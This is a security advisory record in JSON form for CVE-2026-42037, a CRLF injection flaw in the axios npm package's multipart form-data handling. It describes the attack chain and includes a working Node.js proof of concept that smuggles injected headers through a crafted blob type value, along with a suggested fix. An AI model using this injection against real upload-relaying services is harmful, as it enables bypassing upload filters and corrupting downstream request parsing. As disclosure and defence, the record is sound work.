{"id":"CVE-2026-42037","aliases":["GHSA-445q-vr5w-6q77"],"url":"https://o3.security/vulnerability/CVE-2026-42037","summary":"Axios: CRLF Injection in multipart/form-data body via unsanitized blob.type in formDataToStream","details":"### Summary\nThe `FormDataPart` constructor in `lib/helpers/formDataToStream.js` interpolates `value.type` directly into the `Content-Type` header of each multipart part without sanitizing CRLF (`\\r\\n`) sequences. An attacker who controls the `.type` property of a Blob/File-like object (e.g., via a user-uploaded file in a Node.js proxy service) can inject arbitrary MIME part headers into the multipart form-data body. This bypasses Node.js v18+ built-in header protections because the injection targets the multipart body structure, not HTTP request headers.\n\n### Details\nIn `lib/helpers/formDataToStream.js` at line 27, when processing a Blob/File-like value, the code builds per-part headers by directly embedding value.type:\n```\nif (isStringValue) {\n  value = textEncoder.encode(String(value).replace(/\\r?\\n|\\r\\n?/g, CRLF));\n} else {\n  // value.type is NOT sanitized for CRLF sequences\n  headers += `Content-Type: ${value.type || 'application/octet-stream'}${CRLF}`;\n}\n```\nNote that the string path (line above) explicitly sanitizes CRLF, but the binary/blob path does not. This inconsistency confirms the sanitization was intended but missed for `value.type`.\n\n\n### Attack chain:\n\n1. Attacker uploads a file to a Node.js proxy service, supplying a crafted MIME type containing `\\r\\n` sequences\n2. The proxy appends the file to a FormData and posts it via `axios.post(url, formData)`\n3. axios calls `formDataToStream()`, which passes `value.type` unsanitized into the multipart body\n4. The downstream server receives a multipart body containing injected per-part headers\n5. The server's multipart parser processes the injected headers as legitimate\n\nThis is reachable via the fully public axios API (`axios.post(url, formData)`) with no special configuration.\nAdditionally, `value.name` used in the `Content-Disposition` construction nearby likely has the same issue and should be audited.\n\n### PoC\n**Prerequisites**: Node.js 18+, axios (tested on 1.14.0)\n```\nconst http = require('http');\nconst axios = require('axios');\n\nlet receivedBody = '';\n\nconst server = http.createServer((req, res) => {\n  let body = '';\n  req.on('data', chunk => { body += chunk.toString(); });\n  req.on('end', () => {\n    receivedBody = body;\n    res.writeHead(200);\n    res.end('ok');\n  });\n});\n\nserver.listen(0, '127.0.0.1', async () => {\n  const port = server.address().port;\n\n  class SpecFormData {\n    constructor() {\n      this._entries = [];\n      this[Symbol.toStringTag] = 'FormData';\n    }\n    append(name, value) { this._entries.push([name, value]); }\n    [Symbol.iterator]() { return this._entries[Symbol.iterator](); }\n    entries() { return this._entries[Symbol.iterator](); }\n  }\n\n  const fd = new SpecFormData();\n\n  fd.append('photo', {\n    type: 'image/jpeg\\r\\nX-Injected-Header: PWNED-by-attacker\\r\\nX-Evil: arbitrary-value',\n    size: 16,\n    name: 'photo.jpg',\n    [Symbol.asyncIterator]: async function*() {\n      yield Buffer.from('MALICIOUS PAYLOAD');\n    }\n  });\n\n  await axios.post(`http://127.0.0.1:${port}/upload`, fd);\n\n  if (receivedBody.includes('X-Injected-Header: PWNED-by-attacker')) {\n    console.log('[VULNERABLE] CRLF injection confirmed in multipart body');\n    console.log('Received body:\\n' + receivedBody);\n  } else {\n    console.log('[NOT_VULNERABLE]');\n  }\n\n  server.close();\n});\n```\n\n### Steps to reproduce:\n\n1. npm install axios\n2. Save the above as poc_axios_crlf.js\n3. Run node poc_axios_crlf.js\n4. Observe the output shows [VULNERABLE] with injected headers visible in the multipart body\n\n**Expected behavior**: value.type should be sanitized to strip \\r\\n before interpolation, consistent with the string value path.\n**Actual behavior**: CRLF sequences in value.type are preserved, allowing arbitrary header injection in multipart parts.\n\n### Impact\nAny Node.js application that accepts user-provided files (with attacker-controlled MIME types) and re-posts them via axios FormData is affected. This is a common pattern in proxy services, file upload relays, and API gateways.\nConsequences include: bypassing server-side Content-Type-based upload filters, confusing multipart parsers into misrouting data, injecting phantom form fields if the boundary is known, and exploiting downstream server vulnerabilities that trust per-part headers.\naxios is one of the most downloaded npm packages, significantly increasing the blast radius of this issue.\n\n### Suggested fix\nIn formDataToStream.js, sanitize value.type before interpolating it into the per-part Content-Type header. Apply the same strategy used for string values (strip/replace \\r\\n) or use the same escapeName logic.\n```\nconst safeType = (value.type || 'application/octet-stream')\n  .replace(/[\\r\\n]/g, '');\nheaders += `Content-Type: ${safeType}${CRLF}`;\n```","published":"2026-04-24T17:58:16.058Z","modified":"2026-08-12T03:51:35.503055687Z","cvss":{"score":5.3,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"},"epss":{"score":0.00294,"percentile":0.22155,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"axios","fixedVersion":"1.15.1"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42037.json"},{"type":"ADVISORY","url":"https://github.com/axios/axios/security/advisories/GHSA-445q-vr5w-6q77"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42037"},{"type":"PACKAGE","url":"https://github.com/axios/axios"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:35.503055687Z"}}